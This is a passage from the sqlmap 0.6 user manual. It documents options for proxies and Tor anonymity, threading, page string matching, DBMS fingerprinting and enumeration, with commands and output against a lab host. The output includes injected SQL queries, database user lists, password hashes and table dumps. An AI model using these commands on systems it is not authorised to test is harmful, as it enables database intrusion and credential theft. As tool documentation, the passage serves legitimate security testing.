+GET /sqlmap/mysql/digest/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+Authorization: Digest username="testuser", realm="Testing digest authentication", 
+nonce="qcL9udlSBAA=f3b77da349fcfbf1a59ba37b21e291341159598f", 
+uri="/sqlmap/mysql/digest/get_int.php?id=1&cat=2", 
+response="e1bf3738b4bbe04e197a12fb134e13a2", algorithm="MD5", qop=auth, nc=00000001, 
+cnonce="df1c0902c931b640"
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+[...]
+
+
+

+ + +

HTTP proxy

+ +

Option: --proxy

+ +

It is possible to provide an anonymous HTTP proxy address to pass by the +HTTP requests to the target URL. The syntax of HTTP proxy value is +http://url:port.

+ +

Example on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" \
+  --proxy "http://127.0.0.1:3128"
+
+[hh:mm:36] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:36] [WARNING] GET parameter 'cat' is not dynamic
+[hh:mm:37] [WARNING] the back-end DMBS is not MySQL
+[hh:mm:37] [WARNING] the back-end DMBS is not Oracle
+back-end DBMS:    PostgreSQL
+
+
+

+ +

Instead of using a single anonymous HTTP proxy server to pass by, you can +configure a +Tor client together +with +Privoxy on your machine +as explained on the +Tor client guide then run sqlmap as follows:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" \
+  --proxy "http://127.0.0.1:8118"
+
+
+

+ +

Note that 8118 is the default Privoxy port, adapt it to your +settings.

+ + +

Concurrent HTTP requests

+ +

Option: --threads

+ +

It is possible to specify the number of maximum concurrent HTTP requests +that sqlmap can start when it uses the blind SQL injection technique to +retrieve the query output. +This feature relies on the +multithreading concept and inherits both its pro and its cons.

+ +

Examples on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
+  -b --threads 3
+
+[...]
+back-end DBMS:  MySQL >= 5.0.0
+
+[hh:mm:08] [INFO] fetching banner
+[hh:mm:08] [INFO] retrieved the length of query output: 18
+[hh:mm:09] [INFO] query: IFNULL(CAST(VERSION() AS CHAR(10000)), CHAR(32))
+[hh:mm:09] [INFO] starting 3 threads
+[hh:mm:09] [INFO] retrieved: 5.0.51a-3ubuntu5.2
+[hh:mm:09] [INFO] performed 132 queries in 0 seconds
+banner:    '5.0.51a-3ubuntu5.2'
+
+
+

+ +

As you can see, sqlmap first calculates the length of the query output, +then starts three threads. Each thread is assigned to retrieve one +character of the query output. The thread then ends after approximately +seven HTTP requests, the maximum to retrieve a query output character.

+ + +

5.2 Injection +

+ +

String match

+ +

Option: --string

+ +

By default the distinction of a True query by a False one (basic concept +for standard blind SQL injection attacks) is done comparing injected pages +content MD5 hash with the original not-injected page content MD5. Not +always this concept works because sometimes the page content changes at +each refresh, for instance when the page has a counter, a dynamic +advertisment banner or any other part of the HTML which is render +dynamically and might change in time not only consequently to user's +input. +To bypass this limit, sqlmap makes it possible to manually provide a +string which is always present on the not-injected page +and on all True injected query pages, but that it is not +on the False ones. +Such information is easy for an user to retrieve, simply try to inject on +the affected URL parameter an invalid value and compare original output +with the wrong output to identify which string is on True page only. +This way the distinction will be based upon string match and not page MD5 +hash comparison.

+

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1&cat=2" \
+  -v 5
+
+[...]
+[hh:mm:50] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:50] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Fri, 25 Jul 2008 14:29:50 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Connection: close
+Transfer-Encoding: chunked
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+<tr><td>1</td><td>luther</td><td>blissett</td></tr>
+</table>
+</body></html><p>Dynamic content: 1216996190</p>
+
+[hh:mm:51] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Fri, 25 Jul 2008 14:29:51 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 161
+Connection: close
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+<tr><td>1</td><td>luther</td><td>blissett</td></tr>
+</table>
+</body></html><p>Dynamic content: 1216996191</p>
+
+[hh:mm:51] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Fri, 25 Jul 2008 14:29:51 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 161
+Connection: close
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+<tr><td>1</td><td>luther</td><td>blissett</td></tr>
+</table>
+</body></html><p>Dynamic content: 1216996191</p>
+
+[hh:mm:51] [ERROR] url is not stable, try with --string option, refer to the user's manual 
+paragraph 'String match' for details
+
+
+

+ +

As you can see, the string after Dynamic content changes its +value every second. In the example it is just a call to PHP +time() function, but on the real world it is usually much more +than that.

+ +

Looking at the HTTP responses page content you can see that the first five +lines of code do not change at all. +So choosing for instance the word luther as an output that is +on the True page content and it is not on the False page content and +passing it to sqlmap, you should be able to inject anyway.

+

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1&cat=2" \
+  --string "luther" -v 1
+
+[hh:mm:22] [INFO] testing connection to the target url
+[hh:mm:22] [INFO] testing if the provided string is within the target URL page content
+[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
+[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
+[hh:mm:22] [INFO] GET parameter 'id' is dynamic
+[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
+[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
+[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
+[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
+[hh:mm:22] [INFO] testing if GET parameter 'cat' is dynamic
+[hh:mm:22] [WARNING] GET parameter 'cat' is not dynamic
+[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
+[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
+[...]
+
+
+

+ +

As you can see, when this option is specified, sqlmap skips the URL +stability test.

+ +

Consider this option a must when you are dealing with a page which +content that changes itself at each refresh without modifying the user's +input.

+ + +

Force the database management system name

+ +

Option: --dbms

+ +

By default sqlmap automatically detects the web application's back-end +database manangement system. +At the moment the fully supported database management system are four:

+

+

    +
  • MySQL
  • +
  • Oracle
  • +
  • PostgreSQL
  • +
  • Microsoft SQL Server
  • +
+

+ +

It is possible to force the name if you already know it so that sqlmap +will skip the fingerprint with an exception for MySQL to only identify if +it is MySQL < 5.0 or MySQL >= 5.0. +To avoid also this check you can provide instead MySQL 4 or +MySQL 5.

+

Example on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 2 \
+  --dbms "PostgreSQL"
+
+[...]
+[hh:mm:31] [DEBUG] skipping to test for MySQL
+[hh:mm:31] [DEBUG] skipping to test for Oracle
+back-end DBMS:    PostgreSQL
+
+
+

+ +

In case you provide --fingerprint together with --dbms, +sqlmap will only perform the extensive fingerprint for the specified +database management system, read the following section for further +details.

+ +

Note that this option is not mandatory and it is strongly +recommended to use it only if you are absolutely sure about the +back-end database management system. If you do not know it, let sqlmap +automatically identify it for you.

+ + +

5.3 Fingerprint +

+ +

Extensive database management system fingerprint

+ +

Options: -f or --fingerprint

+ +

By default the web application's back-end database management system +fingerprint is performed requesting a database specific function which +returns a known static value. By comparing this value with the returned +value it is possible to identify if the back-end database is effectively +the one that sqlmap expected.

+

After identifying an injectable vector, sqlmap fingerprints the back-end +database management system and performs the following queries with their +specific syntax within the limits of the database architecture.

+

If you want to perform a more accurate database management system +fingerprint based on various techniques like specific SQL dialects and +inband error messages, you can provide the --fingerprint option.

+

The order of database management systems that sqlmap tests for is:

+

+

    +
  • MySQL
  • +
  • Oracle
  • +
  • PostgreSQL
  • +
  • Microsoft SQL Server
  • +
+

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 -f
+
+[...]
+[hh:mm:02] [INFO] testing MySQL
+[hh:mm:02] [INFO] query: CONCAT(CHAR(52), CHAR(52))
+[hh:mm:02] [INFO] retrieved: 44
+[hh:mm:02] [INFO] performed 20 queries in 0 seconds
+[hh:mm:02] [INFO] confirming MySQL
+[hh:mm:02] [INFO] query: LENGTH(CHAR(52))
+[hh:mm:02] [INFO] retrieved: 1
+[hh:mm:02] [INFO] performed 13 queries in 0 seconds
+[hh:mm:02] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
+[hh:mm:02] [INFO] retrieved: 4
+[hh:mm:02] [INFO] performed 13 queries in 0 seconds
+[hh:mm:02] [INFO] query: DATABASE()
+[hh:mm:02] [INFO] retrieved: test
+[hh:mm:02] [INFO] performed 34 queries in 0 seconds
+[hh:mm:02] [INFO] query: SCHEMA()
+[hh:mm:02] [INFO] retrieved: test
+[hh:mm:02] [INFO] performed 34 queries in 0 seconds
+[hh:mm:02] [INFO] query: SELECT 4 FROM information_schema.PARTITIONS LIMIT 0, 1
+[hh:mm:02] [INFO] retrieved: 
+[hh:mm:02] [INFO] performed 6 queries in 0 seconds
+[hh:mm:02] [INFO] executing MySQL comment injection fingerprint
+back-end DBMS:  active fingerprint: MySQL >= 5.0.2 and < 5.1
+                comment injection fingerprint: MySQL 5.0.51
+                html error message fingerprint: MySQL
+
+
+

+ +

Example on an Oracle XE 10.2.0.1 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -v 1 -f
+
+[...]
+[hh:mm:26] [WARNING] the back-end DMBS is not MySQL
+[hh:mm:26] [INFO] testing Oracle
+[hh:mm:26] [INFO] query: LENGTH(SYSDATE)
+[hh:mm:26] [INFO] retrieved: 9
+[hh:mm:26] [INFO] performed 13 queries in 0 seconds
+[hh:mm:26] [INFO] confirming Oracle
+[hh:mm:26] [INFO] query: SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1
+[hh:mm:26] [INFO] retrieved: 10.2.0.1.0
+[hh:mm:27] [INFO] performed 76 queries in 0 seconds
+back-end DBMS:    active fingerprint: Oracle 10g
+                  html error message fingerprint: Oracle
+
+
+

+ +

Example on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 -f
+
+[...]
+[hh:mm:56] [WARNING] the back-end DMBS is not Oracle
+[hh:mm:56] [INFO] testing PostgreSQL
+[hh:mm:56] [INFO] query: COALESCE(7, NULL)
+[hh:mm:56] [INFO] retrieved: 7
+[hh:mm:56] [INFO] performed 13 queries in 0 seconds
+[hh:mm:56] [INFO] confirming PostgreSQL
+[hh:mm:56] [INFO] query: LENGTH((CHR(55)))
+[hh:mm:56] [INFO] retrieved: 1
+[hh:mm:56] [INFO] performed 13 queries in 0 seconds
+[hh:mm:56] [INFO] query: SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)
+[hh:mm:56] [INFO] retrieved: 2
+[hh:mm:56] [INFO] performed 13 queries in 0 seconds
+back-end DBMS:  active fingerprint: PostgreSQL >= 8.2.0
+                html error message fingerprint: PostgreSQL
+
+
+

+ +

As you can see from this last example, sqlmap first tested for MySQL, +then for Oracle, then for PostgreSQL since the user did not forced the +back-end database management system name.

+ +

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 -f
+
+[...]
+[hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL
+[hh:mm:41] [INFO] testing Microsoft SQL Server
+[hh:mm:41] [INFO] query: LTRIM(STR(LEN(7)))
+[hh:mm:41] [INFO] retrieved: 1
+[hh:mm:41] [INFO] performed 13 queries in 0 seconds
+[hh:mm:41] [INFO] query: SELECT SUBSTRING((@@VERSION), 25, 1)
+[hh:mm:41] [INFO] retrieved: 0
+[hh:mm:41] [INFO] performed 13 queries in 0 seconds
+back-end DBMS:  active fingerprint: Microsoft SQL Server 2000
+                html error message fingerprint: Microsoft SQL Server
+
+
+

+ +

If you want an even more accurate result, based also on banner parsing, +you can also provide the -b or --banner option.

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 -f -b
+
+[...]
+[hh:mm:11] [INFO] testing MySQL
+[hh:mm:11] [INFO] query: CONCAT(CHAR(52), CHAR(52))
+[hh:mm:11] [INFO] retrieved: 44
+[hh:mm:11] [INFO] performed 20 queries in 0 seconds
+[hh:mm:11] [INFO] confirming MySQL
+[hh:mm:11] [INFO] query: LENGTH(CHAR(52))
+[hh:mm:11] [INFO] retrieved: 1
+[hh:mm:11] [INFO] performed 13 queries in 0 seconds
+[hh:mm:11] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
+[hh:mm:11] [INFO] retrieved: 4
+[hh:mm:11] [INFO] performed 13 queries in 0 seconds
+[hh:mm:11] [INFO] query: DATABASE()
+[hh:mm:11] [INFO] retrieved: test
+[hh:mm:11] [INFO] performed 34 queries in 0 seconds
+[hh:mm:11] [INFO] query: SCHEMA()
+[hh:mm:11] [INFO] retrieved: test
+[hh:mm:11] [INFO] performed 34 queries in 0 seconds
+[hh:mm:11] [INFO] query: SELECT 4 FROM information_schema.PARTITIONS LIMIT 0, 1
+[hh:mm:11] [INFO] retrieved: 
+[hh:mm:11] [INFO] performed 6 queries in 0 seconds
+[hh:mm:11] [INFO] query: VERSION()
+[hh:mm:11] [INFO] retrieved: 5.0.51a-3ubuntu5.2
+[hh:mm:12] [INFO] performed 132 queries in 0 seconds
+[hh:mm:12] [INFO] executing MySQL comment injection fingerprint
+back-end DBMS:  active fingerprint: MySQL >= 5.0.2 and < 5.1
+                comment injection fingerprint: MySQL 5.0.51
+                banner parsing fingerprint: MySQL 5.0.51
+                html error message fingerprint: MySQL
+[...]
+
+
+

+ +

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 -f -b
+
+[...]
+[hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL
+[hh:mm:03] [INFO] testing Microsoft SQL Server
+[hh:mm:03] [INFO] query: LTRIM(STR(LEN(3)))
+[hh:mm:03] [INFO] retrieved: 1
+[hh:mm:03] [INFO] performed 13 queries in 0 seconds
+[hh:mm:03] [INFO] query: SELECT SUBSTRING((@@VERSION), 25, 1)
+[hh:mm:03] [INFO] retrieved: 0
+[hh:mm:03] [INFO] performed 13 queries in 0 seconds
+[hh:mm:03] [INFO] query: @@VERSION
+[hh:mm:03] [INFO] retrieved: Microsoft SQL Server  2000 - 8.00.194 (Intel X86) 
+        Aug  6 2000 00:57:48 
+        Copyright (c) 1988-2000 Microsoft Corporation
+        Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
+
+[hh:mm:08] [INFO] performed 1308 queries in 4 seconds
+back-end DBMS:  active fingerprint: Microsoft SQL Server 2000
+                banner parsing fingerprint: Microsoft SQL Server 2000 Service Pack 0 
+                version 8.00.194
+                html error message fingerprint: Microsoft SQL Server
+
+
+

+ +

As you can see, from the Microsoft SQL Server banner, sqlmap was able to +correctly identify the database management system service pack. +The Microsoft SQL Server XML versions file is the result of a sqlmap +parsing library that fetches data from Chip Andrews' +SQLSecurity.com site and outputs it to the XML versions file.

+ + +

5.4 Enumeration +

+ +

Banner

+ +

Option: -b or --banner

+ +

Most of the modern database management systems have a function or an +environment variable which returns details on the database managemet +system version. Sometimes also the operating system where the daemon has +been compiled on, the operating system architecture, its service pack. +Usually this function is version() or the @@version +environment variable.

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -b
+
+banner:    '5.0.51a-3ubuntu5.2'
+
+
+

+ +

Example on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b
+
+banner:    'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 
+4.2.3-2ubuntu4)'
+
+
+

+ +

Example on an Oracle XE 10.2.0.1 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -b
+
+banner:    'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
+
+
+

+ +

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -b
+
+banner:
+---
+Microsoft SQL Server  2000 - 8.00.194 (Intel X86) 
+        Aug  6 2000 00:57:48 
+        Copyright (c) 1988-2000 Microsoft Corporation
+        Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
+---
+
+
+

+ + +

Current user

+ +

Option: --current-user

+ +

It is possible to retrieve the database management system's user which is +effectively performing the query on the database from the web application.

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --current-user
+
+current user:    'testuser@localhost'
+
+
+

+ + +

Current database

+ +

Option: --current-db

+ +

It is possible to retrieve the database management system's database the +web application is connected to.

+ +

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --current-db
+
+current database:    'master'
+
+
+

+ + +

Users

+ +

Option: --users

+ +

It is possible to enumerate the list of database management system users.

+ +

Example on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --users
+
+database management system users [3]:
+[*] postgres
+[*] testuser
+[*] testuser2
+
+
+

+ + +

Users password hashes

+ +

Options: --passwords and -U

+ +

It is possible to enumerate the password hashes for each database +management system user.

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --passwords
+
+[*] debian-sys-maint [1]:
+    password hash: *BBDC22D2B1E18F8628B2922864A621B32A1B1892
+[*] root [1]:
+    password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+[*] testuser [1]:
+    password hash: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
+
+
+

+ +

You can also provide the -U option to specify the user who you +want to enumerate the password hashes.

+ +

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --passwords \
+  -U sa
+
+database management system users password hashes:
+[*] sa [1]:
+    password hash: 0x01000e16d704aa252b7c38d1aeae18756e98172f4b34104d8ee32c2f01b293b03edb7491f
+ba9930b62ee5d506955
+        header: 0x0100
+        salt: 0e16d704
+        mixedcase: aa252b7c38d1aeae18756e98172f4b34104d8ee3
+        uppercase: 2c2f01b293b03edb7491fba9930b62ee5d506955
+
+
+

+ +

As you can see, when you enumerate password hashes on Microsoft SQL Server +sqlmap split the hash, useful if you want to crack it.

+ + +

Users privileges

+ +

Options: --privileges and -U

+ +

It is possible to enumerate the privileges for each database management +system user.

+ +

Example on an Oracle XE 10.2.0.1 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --privileges
+
+[hh:mm:25] [WARNING] unable to retrieve the number of privileges for user 'ANONYMOUS'
+[hh:mm:28] [WARNING] unable to retrieve the number of privileges for user 'DIP'
+database management system users privileges:
+[*] CTXSYS [2]:
+    privilege: CTXAPP
+    privilege: RESOURCE
+[*] DBSNMP [1]:
+    privilege: OEM_MONITOR
+[*] FLOWS_020100 (administrator) [4]:
+    privilege: CONNECT
+    privilege: DBA
+    privilege: RESOURCE
+    privilege: SELECT_CATALOG_ROLE
+[*] FLOWS_FILES [2]:
+    privilege: CONNECT
+    privilege: RESOURCE
+[*] HR (administrator) [3]:
+    privilege: CONNECT
+    privilege: DBA
+    privilege: RESOURCE
+[*] MDSYS [2]:
+    privilege: CONNECT
+    privilege: RESOURCE
+[*] OUTLN [1]:
+    privilege: RESOURCE
+[*] SYS (administrator) [22]:
+    privilege: AQ_ADMINISTRATOR_ROLE
+    privilege: AQ_USER_ROLE
+    privilege: AUTHENTICATEDUSER
+    privilege: CONNECT
+    privilege: CTXAPP
+    privilege: DBA
+    privilege: DELETE_CATALOG_ROLE
+    privilege: EXECUTE_CATALOG_ROLE
+    privilege: EXP_FULL_DATABASE
+    privilege: GATHER_SYSTEM_STATISTICS
+    privilege: HS_ADMIN_ROLE
+    privilege: IMP_FULL_DATABASE
+    privilege: LOGSTDBY_ADMINISTRATOR
+    privilege: OEM_ADVISOR
+    privilege: OEM_MONITOR
+    privilege: PLUSTRACE
+    privilege: RECOVERY_CATALOG_OWNER
+    privilege: RESOURCE
+    privilege: SCHEDULER_ADMIN
+    privilege: SELECT_CATALOG_ROLE
+    privilege: XDBADMIN
+    privilege: XDBWEBSERVICES
+[*] SYSTEM (administrator) [2]:
+    privilege: AQ_ADMINISTRATOR_ROLE
+    privilege: DBA
+[*] TSMSYS [1]:
+    privilege: RESOURCE
+[*] XDB [2]:
+    privilege: CTXAPP
+    privilege: RESOURCE
+
+
+

+ +

You can also provide the -U option to specify the user who you +want to enumerate the privileges.

+ +

Example on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --privileges \
+  -U postgres
+
+database management system users privileges:
+[*] postgres (administrator) [3]:
+    privilege: catupd
+    privilege: createdb
+    privilege: super
+
+
+

+ +

As you can see, depending on the user privileges, sqlmap identifies if the +user is a database management system administrator and show after the +username this information.

+ +

Note that this feature is not available if the back-end database +management system is Microsoft SQL Server.

+ + +

Available databases

+ +

Option: --dbs

+ +

It is possible to enumerate the list of databases.

+ +

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dbs
+
+available databases [6]:
+[*] master
+[*] model
+[*] msdb
+[*] Northwind
+[*] pubs
+[*] tempdb
+
+
+

+ +

Note that this feature is not available if the back-end database +management system is Oracle.

+ +

Databases tables

+ +

Options: --tables and -D

+ +

It is possible to enumerate the list of tables for all database +manangement system's databases.

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --tables
+
+Database: test
+[1 table]
++---------------------------------------+
+| users                                 |
++---------------------------------------+
+
+Database: information_schema
+[17 tables]
++---------------------------------------+
+| CHARACTER_SETS                        |
+| COLLATION_CHARACTER_SET_APPLICABILITY |
+| COLLATIONS                            |
+| COLUMN_PRIVILEGES                     |
+| COLUMNS                               |
+| KEY_COLUMN_USAGE                      |
+| PROFILING                             |
+| ROUTINES                              |
+| SCHEMA_PRIVILEGES                     |
+| SCHEMATA                              |
+| STATISTICS                            |
+| TABLE_CONSTRAINTS                     |
+| TABLE_PRIVILEGES                      |
+| TABLES                                |
+| TRIGGERS                              |
+| USER_PRIVILEGES                       |
+| VIEWS                                 |
++---------------------------------------+
+
+Database: mysql
+[17 tables]
++---------------------------------------+
+| columns_priv                          |
+| db                                    |
+| func                                  |
+| help_category                         |
+| help_keyword                          |
+| help_relation                         |
+| help_topic                            |
+| host                                  |
+| proc                                  |
+| procs_priv                            |
+| tables_priv                           |
+| time_zone                             |
+| time_zone_leap_second                 |
+| time_zone_name                        |
+| time_zone_transition                  |
+| time_zone_transition_type             |
+| user                                  |
++---------------------------------------+
+
+
+

+ +

You can also provide the -D option to specify the database +that you want to enumerate the tables.

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --tables \
+  -D test
+
+Database: test
+[1 table]
++---------------------------------------+
+| users                                 |
++---------------------------------------+
+
+
+

+ +

Example on an Oracle XE 10.2.0.1 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --tables \
+  -D users
+
+Database: USERS
+[8 tables]
++-------------------+
+| DEPARTMENTS       |
+| EMPLOYEES         |
+| HTMLDB_PLAN_TABLE |
+| JOB_HISTORY       |
+| JOBS              |
+| LOCATIONS         |
+| REGIONS           |
+| USERS             |
++-------------------+
+
+
+

+ +

Note that on Oracle you have to provide the TABLESPACE_NAME +instead of the database name, in my example that is users to +retrieve all tables owned by an Oracle database management system +user.

+ + +

Database table columns

+ +

Options: --columns, -T and -D

+ +

It is possible to enumerate the list of columns for a specific database +table. +This functionality depends on both -T to specify the table name +and on -D to specify the database name.

+ +

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --columns \
+  -T users -D master
+
+Database: master
+Table: users
+[3 columns]
++---------+---------+
+| Column  | Type    |
++---------+---------+
+| id      | int     |
+| name    | varchar |
+| surname | varchar |
++---------+---------+
+
+
+

+ +

Example on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --columns \
+  -T users -D public
+
+Database: public
+Table: users
+[3 columns]
++---------+--------+
+| Column  | Type   |
++---------+--------+
+| id      | int4   |
+| name    | bpchar |
+| surname | bpchar |
++---------+--------+
+
+
+

+ +

Note that on PostgreSQL you have to provide public or the +name of a system database because it is not possible to enumerate other +databases tables, only the users' schema that the web application's user +is connected to, which is always public.

+ + +

Dump database tables entries

+ +

Options: --dump, -C, -T and -D

+ +

It is possible to dump the entries for a specific database table. +This functionality depends on both -T to specify the table name +and on -D to specify the database name.

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump \
+  -T users -D test
+
+Database: test
+Table: users
+[5 entries]
++----+--------------------------------------------+-------------------+
+| id | name                                       | surname           |
++----+--------------------------------------------+-------------------+
+| 1  | luther                                     | blissett          |
+| 2  | fluffy                                     | bunny             |
+| 3  | wu                                         | ming              |
+| 4  | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header |
+| 5  | NULL                                       | nameisnull        |
++----+--------------------------------------------+-------------------+
+
+
+

+ +

You can also provide the -C option to specify the table column +that you want to enumerate the entries.

+ +

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dump \
+  -T users -D master -C surname
+
+Database: master
+Table: users
+[5 entries]
++-------------------+
+| surname           |
++-------------------+
+| blisset           |
+| bunny             |
+| ming              |
+| nameisnull        |
+| user agent header |
++-------------------+
+
+
+

+ +

sqlmap also stores for each table the dumped entries in a CSV format file. +You can see the absolute path where it stored the dumped tables entries +by providing a verbosity level greater than or equal to 1.

+ +

Example on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --dump \
+  -T users -D public -v 1
+
+[...]
+Database: public
+Table: users
+[5 entries]
++----+--------------------------------------------+-------------------+
+| id | name                                       | surname           |
++----+--------------------------------------------+-------------------+
+| 1  | luther                                     | blissett          |
